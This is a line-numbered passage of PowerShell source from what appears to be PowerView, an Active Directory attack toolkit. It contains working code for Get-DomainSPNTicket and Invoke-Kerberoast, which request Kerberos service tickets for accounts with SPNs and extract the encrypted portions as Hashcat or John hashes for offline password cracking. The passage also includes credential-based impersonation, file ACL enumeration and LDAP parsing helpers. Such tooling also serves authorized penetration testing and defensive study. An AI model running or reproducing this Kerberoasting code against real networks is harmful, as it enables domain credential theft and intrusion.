   2570     Write-Verbose "[Invoke-RevertToSelf] Token impersonation successfully reverted"
   2571 }
   2572 
   2573 
   2574 function Get-DomainSPNTicket {
   2575 <#
   2576 .SYNOPSIS
   2577 
   2578 Request the kerberos ticket for a specified service principal name (SPN).
   2579 
   2580 Author: machosec, Will Schroeder (@harmj0y)  
   2581 License: BSD 3-Clause  
   2582 Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf  
   2583 
   2584 .DESCRIPTION
   2585 
   2586 This function will either take one/more SPN strings, or one/more PowerView.User objects
   2587 (the output from Get-DomainUser) and will request a kerberos ticket for the given SPN
   2588 using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted
   2589 portion of the ticket is then extracted and output in either crackable John or Hashcat
   2590 format (deafult of Hashcat).
   2591 
   2592 .PARAMETER SPN
   2593 
   2594 Specifies the service principal name to request the ticket for.
   2595 
   2596 .PARAMETER User
   2597 
   2598 Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for.
   2599 
   2600 .PARAMETER OutputFormat
   2601 
   2602 Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
   2603 Defaults to 'John'.
   2604 
   2605 .PARAMETER Credential
   2606 
   2607 A [Management.Automation.PSCredential] object of alternate credentials
   2608 for connection to the remote domain using Invoke-UserImpersonation.
   2609 
   2610 .EXAMPLE
   2611 
   2612 Get-DomainSPNTicket -SPN "HTTP/web.testlab.local"
   2613 
   2614 Request a kerberos service ticket for the specified SPN.
   2615 
   2616 .EXAMPLE
   2617 
   2618 "HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-DomainSPNTicket
   2619 
   2620 Request kerberos service tickets for all SPNs passed on the pipeline.
   2621 
   2622 .EXAMPLE
   2623 
   2624 Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat JTR
   2625 
   2626 Request kerberos service tickets for all users with non-null SPNs and output in JTR format.
   2627 
   2628 .INPUTS
   2629 
   2630 String
   2631 
   2632 Accepts one or more SPN strings on the pipeline with the RawSPN parameter set.
   2633 
   2634 .INPUTS
   2635 
   2636 PowerView.User
   2637 
   2638 Accepts one or more PowerView.User objects on the pipeline with the User parameter set.
   2639 
   2640 .OUTPUTS
   2641 
   2642 PowerView.SPNTicket
   2643 
   2644 Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section.
   2645 #>
   2646 
   2647     [OutputType('PowerView.SPNTicket')]
   2648     [CmdletBinding(DefaultParameterSetName = 'RawSPN')]
   2649     Param (
   2650         [Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)]
   2651         [ValidatePattern('.*/.*')]
   2652         [Alias('ServicePrincipalName')]
   2653         [String[]]
   2654         $SPN,
   2655 
   2656         [Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)]
   2657         [ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })]
   2658         [Object[]]
   2659         $User,
   2660 
   2661         [ValidateSet('John', 'Hashcat')]
   2662         [Alias('Format')]
   2663         [String]
   2664         $OutputFormat = 'Hashcat',
   2665 
   2666         [Management.Automation.PSCredential]
   2667         [Management.Automation.CredentialAttribute()]
   2668         $Credential = [Management.Automation.PSCredential]::Empty
   2669     )
   2670 
   2671     BEGIN {
   2672         $Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')
   2673 
   2674         if ($PSBoundParameters['Credential']) {
   2675             $LogonToken = Invoke-UserImpersonation -Credential $Credential
   2676         }
   2677     }
   2678 
   2679     PROCESS {
   2680         if ($PSBoundParameters['User']) {
   2681             $TargetObject = $User
   2682         }
   2683         else {
   2684             $TargetObject = $SPN
   2685         }
   2686 
   2687         ForEach ($Object in $TargetObject) {
   2688             if ($PSBoundParameters['User']) {
   2689                 $UserSPN = $Object.ServicePrincipalName
   2690                 $SamAccountName = $Object.SamAccountName
   2691                 $DistinguishedName = $Object.DistinguishedName
   2692             }
   2693             else {
   2694                 $UserSPN = $Object
   2695                 $SamAccountName = 'UNKNOWN'
   2696                 $DistinguishedName = 'UNKNOWN'
   2697             }
   2698 
   2699             # if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) -@st3r30byt3
   2700             if ($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]) {
   2701                 $UserSPN = $UserSPN[0]
   2702             }
   2703 
   2704             try {
   2705                 $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
   2706             }
   2707             catch {
   2708                 Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_"
   2709             }
   2710             if ($Ticket) {
   2711                 $TicketByteStream = $Ticket.GetRequest()
   2712             }
   2713             if ($TicketByteStream) {
   2714                 $Out = New-Object PSObject
   2715 
   2716                 $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
   2717 
   2718                 $Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName
   2719                 $Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName
   2720                 $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
   2721 
   2722                 # TicketHexStream == GSS-API Frame (see https://tools.ietf.org/html/rfc4121#section-4.1)
   2723                 # No easy way to parse ASN1, so we'll try some janky regex to parse the embedded KRB_AP_REQ.Ticket object
   2724                 if($TicketHexStream -match 'a382....3082....A0030201(?<EtypeLen>..)A1.{1,4}.......A282(?<CipherTextLen>....)........(?<DataToEnd>.+)') {
   2725                     $Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 )
   2726                     $CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4
   2727                     $CipherText = $Matches.DataToEnd.Substring(0,$CipherTextLen*2)
   2728 
   2729                     # Make sure the next field matches the beginning of the KRB_AP_REQ.Authenticator object
   2730                     if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') {
   2731                         Write-Warning "Error parsing ciphertext for the SPN  $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"
   2732                         $Hash = $null
   2733                         $Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
   2734                     } else {
   2735                         $Hash = "$($CipherText.Substring(0,32))`$$($CipherText.Substring(32))"
   2736                         $Out | Add-Member Noteproperty 'TicketByteHexStream' $null
   2737                     }
   2738                 } else {
   2739                     Write-Warning "Unable to parse ticket structure for the SPN  $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"
   2740                     $Hash = $null
   2741                     $Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
   2742                 }
   2743 
   2744                 if($Hash) {
   2745                     # JTR jumbo output format - $krb5tgs$SPN/machine.testlab.local:63386d22d359fe...
   2746                     if ($OutputFormat -match 'John') {
   2747                         $HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash"
   2748                     }
   2749                     else {
   2750                         if ($DistinguishedName -ne 'UNKNOWN') {
   2751                             $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
   2752                         }
   2753                         else {
   2754                             $UserDomain = 'UNKNOWN'
   2755                         }
   2756 
   2757                         # hashcat output format - $krb5tgs$23$*user$realm$test/spn*$63386d22d359fe...
   2758                         $HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
   2759                     }
   2760                     $Out | Add-Member Noteproperty 'Hash' $HashFormat
   2761                 }
   2762 
   2763                 $Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
   2764                 $Out
   2765             }
   2766         }
   2767     }
   2768 
   2769     END {
   2770         if ($LogonToken) {
   2771             Invoke-RevertToSelf -TokenHandle $LogonToken
   2772         }
   2773     }
   2774 }
   2775 
   2776 
   2777 function Invoke-Kerberoast {
   2778 <#
   2779 .SYNOPSIS
   2780 
   2781 Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes.
   2782 
   2783 Author: Will Schroeder (@harmj0y), @machosec  
   2784 License: BSD 3-Clause  
   2785 Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-DomainUser, Get-DomainSPNTicket  
   2786 
   2787 .DESCRIPTION
   2788 
   2789 Uses Get-DomainUser to query for user accounts with non-null service principle
   2790 names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information.
   2791 The ticket format can be specified with -OutputFormat <John/Hashcat>.
   2792 
   2793 .PARAMETER Identity
   2794 
   2795 A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
   2796 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
   2797 Wildcards accepted.
   2798 
   2799 .PARAMETER Domain
   2800 
   2801 Specifies the domain to use for the query, defaults to the current domain.
   2802 
   2803 .PARAMETER LDAPFilter
   2804 
   2805 Specifies an LDAP query string that is used to filter Active Directory objects.
   2806 
   2807 .PARAMETER SearchBase
   2808 
   2809 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
   2810 Useful for OU queries.
   2811 
   2812 .PARAMETER Server
   2813 
   2814 Specifies an Active Directory server (domain controller) to bind to.
   2815 
   2816 .PARAMETER SearchScope
   2817 
   2818 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
   2819 
   2820 .PARAMETER ResultPageSize
   2821 
   2822 Specifies the PageSize to set for the LDAP searcher object.
   2823 
   2824 .PARAMETER ServerTimeLimit
   2825 
   2826 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
   2827 
   2828 .PARAMETER Tombstone
   2829 
   2830 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
   2831 
   2832 .PARAMETER OutputFormat
   2833 
   2834 Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
   2835 Defaults to 'Hashcat'.
   2836 
   2837 .PARAMETER Credential
   2838 
   2839 A [Management.Automation.PSCredential] object of alternate credentials
   2840 for connection to the target domain.
   2841 
   2842 .EXAMPLE
   2843 
   2844 Invoke-Kerberoast | fl
   2845 
   2846 Kerberoasts all found SPNs for the current domain, outputting to Hashcat format (default).
   2847 
   2848 .EXAMPLE
   2849 
   2850 Invoke-Kerberoast -Domain dev.testlab.local | fl
   2851 
   2852 Kerberoasts all found SPNs for the testlab.local domain, outputting to JTR
   2853 format instead of Hashcat.
   2854 
   2855 .EXAMPLE
   2856 
   2857 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce
   2858 $Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword)
   2859 Invoke-Kerberoast -Credential $Cred -Verbose -Domain testlab.local | fl
   2860 
   2861 Kerberoasts all found SPNs for the testlab.local domain using alternate credentials.
   2862 
   2863 .OUTPUTS
   2864 
   2865 PowerView.SPNTicket
   2866 
   2867 Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section.
   2868 #>
   2869 
   2870     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
   2871     [OutputType('PowerView.SPNTicket')]
   2872     [CmdletBinding()]
   2873     Param(
   2874         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
   2875         [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
   2876         [String[]]
   2877         $Identity,
   2878 
   2879         [ValidateNotNullOrEmpty()]
   2880         [String]
   2881         $Domain,
   2882 
   2883         [ValidateNotNullOrEmpty()]
   2884         [Alias('Filter')]
   2885         [String]
   2886         $LDAPFilter,
   2887 
   2888         [ValidateNotNullOrEmpty()]
   2889         [Alias('ADSPath')]
   2890         [String]
   2891         $SearchBase,
   2892 
   2893         [ValidateNotNullOrEmpty()]
   2894         [Alias('DomainController')]
   2895         [String]
   2896         $Server,
   2897 
   2898         [ValidateSet('Base', 'OneLevel', 'Subtree')]
   2899         [String]
   2900         $SearchScope = 'Subtree',
   2901 
   2902         [ValidateRange(1, 10000)]
   2903         [Int]
   2904         $ResultPageSize = 200,
   2905 
   2906         [ValidateRange(1, 10000)]
   2907         [Int]
   2908         $ServerTimeLimit,
   2909 
   2910         [Switch]
   2911         $Tombstone,
   2912 
   2913         [ValidateSet('John', 'Hashcat')]
   2914         [Alias('Format')]
   2915         [String]
   2916         $OutputFormat = 'Hashcat',
   2917 
   2918         [Management.Automation.PSCredential]
   2919         [Management.Automation.CredentialAttribute()]
   2920         $Credential = [Management.Automation.PSCredential]::Empty
   2921     )
   2922 
   2923     BEGIN {
   2924         $UserSearcherArguments = @{
   2925             'SPN' = $True
   2926             'Properties' = 'samaccountname,distinguishedname,serviceprincipalname'
   2927         }
   2928         if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
   2929         if ($PSBoundParameters['LDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $LDAPFilter }
   2930         if ($PSBoundParameters['SearchBase']) { $UserSearcherArguments['SearchBase'] = $SearchBase }
   2931         if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
   2932         if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
   2933         if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
   2934         if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
   2935         if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
   2936         if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
   2937 
   2938         if ($PSBoundParameters['Credential']) {
   2939             $LogonToken = Invoke-UserImpersonation -Credential $Credential
   2940         }
   2941     }
   2942 
   2943     PROCESS {
   2944         if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity }
   2945         Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket -OutputFormat $OutputFormat
   2946     }
   2947 
   2948     END {
   2949         if ($LogonToken) {
   2950             Invoke-RevertToSelf -TokenHandle $LogonToken
   2951         }
   2952     }
   2953 }
   2954 
   2955 
   2956 function Get-PathAcl {
   2957 <#
   2958 .SYNOPSIS
   2959 
   2960 Enumerates the ACL for a given file path.
   2961 
   2962 Author: Will Schroeder (@harmj0y)  
   2963 License: BSD 3-Clause  
   2964 Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertFrom-SID  
   2965 
   2966 .DESCRIPTION
   2967 
   2968 Enumerates the ACL for a specified file/folder path, and translates
   2969 the access rules for each entry into readable formats. If -Credential is passed,
   2970 Add-RemoteConnection/Remove-RemoteConnection is used to temporarily map the remote share.
   2971 
   2972 .PARAMETER Path
   2973 
   2974 Specifies the local or remote path to enumerate the ACLs for.
   2975 
   2976 .PARAMETER Credential
   2977 
   2978 A [Management.Automation.PSCredential] object of alternate credentials
   2979 for connection to the target path.
   2980 
   2981 .EXAMPLE
   2982 
   2983 Get-PathAcl "\\SERVER\Share\"
   2984 
   2985 Returns ACLs for the given UNC share.
   2986 
   2987 .EXAMPLE
   2988 
   2989 gci .\test.txt | Get-PathAcl
   2990 
   2991 .EXAMPLE
   2992 
   2993 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
   2994 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)
   2995 Get-PathAcl -Path "\\SERVER\Share\" -Credential $Cred
   2996 
   2997 .INPUTS
   2998 
   2999 String
   3000 
   3001 One of more paths to enumerate ACLs for.
   3002 
   3003 .OUTPUTS
   3004 
   3005 PowerView.FileACL
   3006 
   3007 A custom object with the full path and associated ACL entries.
   3008 
   3009 .LINK
   3010 
   3011 https://support.microsoft.com/en-us/kb/305144
   3012 #>
   3013 
   3014     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
   3015     [OutputType('PowerView.FileACL')]
   3016     [CmdletBinding()]
   3017     Param(
   3018         [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
   3019         [Alias('FullName')]
   3020         [String[]]
   3021         $Path,
   3022 
   3023         [Management.Automation.PSCredential]
   3024         [Management.Automation.CredentialAttribute()]
   3025         $Credential = [Management.Automation.PSCredential]::Empty
   3026     )
   3027 
   3028     BEGIN {
   3029 
   3030         function Convert-FileRight {
   3031             # From Ansgar Wiechers at http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights
   3032             [CmdletBinding()]
   3033             Param(
   3034                 [Int]
   3035                 $FSR
   3036             )
   3037 
   3038             $AccessMask = @{
   3039                 [uint32]'0x80000000' = 'GenericRead'
   3040                 [uint32]'0x40000000' = 'GenericWrite'
   3041                 [uint32]'0x20000000' = 'GenericExecute'
   3042                 [uint32]'0x10000000' = 'GenericAll'
   3043                 [uint32]'0x02000000' = 'MaximumAllowed'
   3044                 [uint32]'0x01000000' = 'AccessSystemSecurity'
   3045                 [uint32]'0x00100000' = 'Synchronize'
   3046                 [uint32]'0x00080000' = 'WriteOwner'
   3047                 [uint32]'0x00040000' = 'WriteDAC'
   3048                 [uint32]'0x00020000' = 'ReadControl'
   3049                 [uint32]'0x00010000' = 'Delete'
   3050                 [uint32]'0x00000100' = 'WriteAttributes'
   3051                 [uint32]'0x00000080' = 'ReadAttributes'
   3052                 [uint32]'0x00000040' = 'DeleteChild'
   3053                 [uint32]'0x00000020' = 'Execute/Traverse'
   3054                 [uint32]'0x00000010' = 'WriteExtendedAttributes'
   3055                 [uint32]'0x00000008' = 'ReadExtendedAttributes'
   3056                 [uint32]'0x00000004' = 'AppendData/AddSubdirectory'
   3057                 [uint32]'0x00000002' = 'WriteData/AddFile'
   3058                 [uint32]'0x00000001' = 'ReadData/ListDirectory'
   3059             }
   3060 
   3061             $SimplePermissions = @{
   3062                 [uint32]'0x1f01ff' = 'FullControl'
   3063                 [uint32]'0x0301bf' = 'Modify'
   3064                 [uint32]'0x0200a9' = 'ReadAndExecute'
   3065                 [uint32]'0x02019f' = 'ReadAndWrite'
   3066                 [uint32]'0x020089' = 'Read'
   3067                 [uint32]'0x000116' = 'Write'
   3068             }
   3069 
   3070             $Permissions = @()
   3071 
   3072             # get simple permission
   3073             $Permissions += $SimplePermissions.Keys | ForEach-Object {
   3074                               if (($FSR -band $_) -eq $_) {
   3075                                 $SimplePermissions[$_]
   3076                                 $FSR = $FSR -band (-not $_)
   3077                               }
   3078                             }
   3079 
   3080             # get remaining extended permissions
   3081             $Permissions += $AccessMask.Keys | Where-Object { $FSR -band $_ } | ForEach-Object { $AccessMask[$_] }
   3082             ($Permissions | Where-Object {$_}) -join ','
   3083         }
   3084 
   3085         $ConvertArguments = @{}
   3086         if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential }
   3087 
   3088         $MappedComputers = @{}
   3089     }
   3090 
   3091     PROCESS {
   3092         ForEach ($TargetPath in $Path) {
   3093             try {
   3094                 if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
   3095                     $HostComputer = (New-Object System.Uri($TargetPath)).Host
   3096                     if (-not $MappedComputers[$HostComputer]) {
   3097                         # map IPC$ to this computer if it's not already
   3098                         Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential
   3099                         $MappedComputers[$HostComputer] = $True
   3100                     }
   3101                 }
   3102 
   3103                 $ACL = Get-Acl -Path $TargetPath
   3104 
   3105                 $ACL.GetAccessRules($True, $True, [System.Security.Principal.SecurityIdentifier]) | ForEach-Object {
   3106                     $SID = $_.IdentityReference.Value
   3107                     $Name = ConvertFrom-SID -ObjectSID $SID @ConvertArguments
   3108 
   3109                     $Out = New-Object PSObject
   3110                     $Out | Add-Member Noteproperty 'Path' $TargetPath
   3111                     $Out | Add-Member Noteproperty 'FileSystemRights' (Convert-FileRight -FSR $_.FileSystemRights.value__)
   3112                     $Out | Add-Member Noteproperty 'IdentityReference' $Name
   3113                     $Out | Add-Member Noteproperty 'IdentitySID' $SID
   3114                     $Out | Add-Member Noteproperty 'AccessControlType' $_.AccessControlType
   3115                     $Out.PSObject.TypeNames.Insert(0, 'PowerView.FileACL')
   3116                     $Out
   3117                 }
   3118             }
   3119             catch {
   3120                 Write-Verbose "[Get-PathAcl] error: $_"
   3121             }
   3122         }
   3123     }
   3124 
   3125     END {
   3126         # remove the IPC$ mappings
   3127         $MappedComputers.Keys | Remove-RemoteConnection
   3128     }
   3129 }
   3130 
   3131 
   3132 function Convert-LDAPProperty {
   3133 <#
   3134 .SYNOPSIS
   3135 
   3136 Helper that converts specific LDAP property result fields and outputs
   3137 a custom psobject.
   3138 
   3139 Author: Will Schroeder (@harmj0y)  
   3140 License: BSD 3-Clause  
   3141 Required Dependencies: None  
   3142 
   3143 .DESCRIPTION
   3144 
   3145 Converts a set of raw LDAP properties results from ADSI/LDAP searches
   3146 into a proper PSObject. Used by several of the Get-Domain* function.
   3147 
   3148 .PARAMETER Properties
   3149 
   3150 Properties object to extract out LDAP fields for display.
   3151 
   3152 .OUTPUTS
   3153 
   3154 System.Management.Automation.PSCustomObject
   3155 
   3156 A custom PSObject with LDAP hashtable properties translated.
   3157 #>
   3158 
   3159     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
   3160     [OutputType('System.Management.Automation.PSCustomObject')]
   3161     [CmdletBinding()]
   3162     Param(
   3163         [Parameter(Mandatory = $True, ValueFromPipeline = $True)]
   3164         [ValidateNotNullOrEmpty()]
   3165         $Properties
   3166     )
   3167 
   3168     $ObjectProperties = @{}
   3169 
   3170     $Properties.PropertyNames | ForEach-Object {
   3171         if ($_ -ne 'adspath') {
   3172             if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) {
   3173                 # convert all listed sids (i.e. if multiple are listed in sidHistory)
   3174                 $ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value }
   3175             }
   3176             elseif ($_ -eq 'grouptype') {
   3177                 $ObjectProperties[$_] = $Properties[$_][0] -as $GroupTypeEnum
   3178             }
   3179             elseif ($_ -eq 'samaccounttype') {
   3180                 $ObjectProperties[$_] = $Properties[$_][0] -as $SamAccountTypeEnum
   3181             }
   3182             elseif ($_ -eq 'objectguid') {
   3183                 # convert the GUID to a string
   3184                 $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid
   3185             }
   3186             elseif ($_ -eq 'useraccountcontrol') {
   3187                 $ObjectProperties[$_] = $Properties[$_][0] -as $UACEnum
   3188             }
   3189             elseif ($_ -eq 'ntsecuritydescriptor') {
   3190                 # $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0
   3191                 $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0
   3192                 if ($Descriptor.Owner) {
   3193                     $ObjectProperties['Owner'] = $Descriptor.Owner
   3194                 }
   3195                 if ($Descriptor.Group) {
   3196                     $ObjectProperties['Group'] = $Descriptor.Group
   3197                 }
   3198                 if ($Descriptor.DiscretionaryAcl) {
   3199                     $ObjectProperties['DiscretionaryAcl'] = $Descriptor.DiscretionaryAcl
   3200                 }
   3201                 if ($Descriptor.SystemAcl) {
   3202                     $ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl
   3203                 }
   3204             }
   3205             elseif ($_ -eq 'accountexpires') {
   3206                 if ($Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) {
   3207                     $ObjectProperties[$_] = "NEVER"
   3208                 }
   3209                 else {
   3210                     $ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0])
   3211                 }
   3212             }
   3213             elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) {
   3214                 # convert timestamps
   3215                 if ($Properties[$_][0] -is [System.MarshalByRefObject]) {
   3216                     # if we have a System.__ComObject
   3217                     $Temp = $Properties[$_][0]
   3218                     [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
   3219                     [Int32]$Low  = $Temp.GetType().InvokeMember('LowPart',  [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
   3220                     $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low)))
   3221                 }
   3222                 else {
   3223                     # otherwise just a string
   3224                     $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0])))
   3225                 }
   3226             }
   3227             elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) {
   3228                 # try to convert misc com objects
   3229                 $Prop = $Properties[$_]
   3230                 try {
   3231                     $Temp = $Prop[$_][0]
   3232                     [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
   3233                     [Int32]$Low  = $Temp.GetType().InvokeMember('LowPart',  [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
   3234                     $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low)
   3235                 }
   3236                 catch {
   3237                     Write-Verbose "[Convert-LDAPProperty] error: $_"
   3238                     $ObjectProperties[$_] = $Prop[$_]
   3239                 }
   3240             }
   3241             elseif ($Properties[$_].count -eq 1) {
   3242                 $ObjectProperties[$_] = $Properties[$_][0]
   3243             }
   3244             else {
   3245                 $ObjectProperties[$_] = $Properties[$_]
   3246             }
   3247         }
   3248     }
   3249     try {
   3250         New-Object -TypeName PSObject -Property $ObjectProperties
   3251     }
   3252     catch {
   3253         Write-Warning "[Convert-LDAPProperty] Error parsing LDAP properties : $_"
   3254     }
   3255 }
   3256 
   3257 
   3258 ########################################################
   3259 #
   3260 # Domain info functions below.
   3261 #
   3262 ########################################################
   3263 
   3264 function Get-DomainSearcher {
   3265 <#
   3266 .SYNOPSIS
   3267 
   3268 Helper used by various functions that builds a custom AD searcher object.
   3269 
   3270 Author: Will Schroeder (@harmj0y)  
   3271 License: BSD 3-Clause  
   3272 Required Dependencies: Get-Domain  
   3273 
   3274 .DESCRIPTION
   3275 
   3276 Takes a given domain and a number of customizations and returns a
   3277 System.DirectoryServices.DirectorySearcher object. This function is used
   3278 heavily by other LDAP/ADSI searcher functions (Verb-Domain*).
   3279 
   3280 .PARAMETER Domain
   3281 
   3282 Specifies the domain to use for the query, defaults to the current domain.
   3283 
   3284 .PARAMETER LDAPFilter
   3285 
   3286 Specifies an LDAP query string that is used to filter Active Directory objects.
   3287 
   3288 .PARAMETER Properties
   3289 
   3290 Specifies the properties of the output object to retrieve from the server.
   3291 
   3292 .PARAMETER SearchBase
   3293 
   3294 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
   3295 Useful for OU queries.
   3296 
   3297 .PARAMETER SearchBasePrefix
   3298 
   3299 Specifies a prefix for the LDAP search string (i.e. "CN=Sites,CN=Configuration").
   3300 
   3301 .PARAMETER Server
   3302 
   3303 Specifies an Active Directory server (domain controller) to bind to for the search.
   3304 
   3305 .PARAMETER SearchScope
   3306 
   3307 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
   3308 
   3309 .PARAMETER ResultPageSize
   3310 
   3311 Specifies the PageSize to set for the LDAP searcher object.
   3312 
   3313 .PARAMETER ResultPageSize
   3314 
   3315 Specifies the PageSize to set for the LDAP searcher object.
   3316 
   3317 .PARAMETER ServerTimeLimit
   3318 
   3319 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
   3320 
   3321 .PARAMETER SecurityMasks
   3322 
   3323 Specifies an option for examining security information of a directory object.
   3324 One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
   3325 
   3326 .PARAMETER Tombstone
   3327 
   3328 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
   3329 
   3330 .PARAMETER Credential
   3331 
   3332 A [Management.Automation.PSCredential] object of alternate credentials
   3333 for connection to the target domain.
   3334 
   3335 .EXAMPLE
   3336 
   3337 Get-DomainSearcher -Domain testlab.local
   3338 
   3339 Return a searcher for all objects in testlab.local.
   3340 
   3341 .EXAMPLE
   3342 
   3343 Get-DomainSearcher -Domain testlab.local -LDAPFilter '(samAccountType=805306368)' -Properties 'SamAccountName,lastlogon'
   3344 
   3345 Return a searcher for user objects in testlab.local and only return the SamAccountName and LastLogon properties.
   3346 
   3347 .EXAMPLE
   3348 
   3349 Get-DomainSearcher -SearchBase "LDAP://OU=secret,DC=testlab,DC=local"
   3350 
   3351 Return a searcher that searches through the specific ADS/LDAP search base (i.e. OU).
   3352 
   3353 .OUTPUTS
   3354 
   3355 System.DirectoryServices.DirectorySearcher
   3356 #>
   3357 
   3358     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
   3359     [OutputType('System.DirectoryServices.DirectorySearcher')]
   3360     [CmdletBinding()]
   3361     Param(
   3362         [Parameter(ValueFromPipeline = $True)]
   3363         [ValidateNotNullOrEmpty()]
   3364         [String]
   3365         $Domain,
   3366 
   3367         [ValidateNotNullOrEmpty()]
   3368         [Alias('Filter')]
   3369         [String]
   3370         $LDAPFilter,
   3371 
   3372         [ValidateNotNullOrEmpty()]
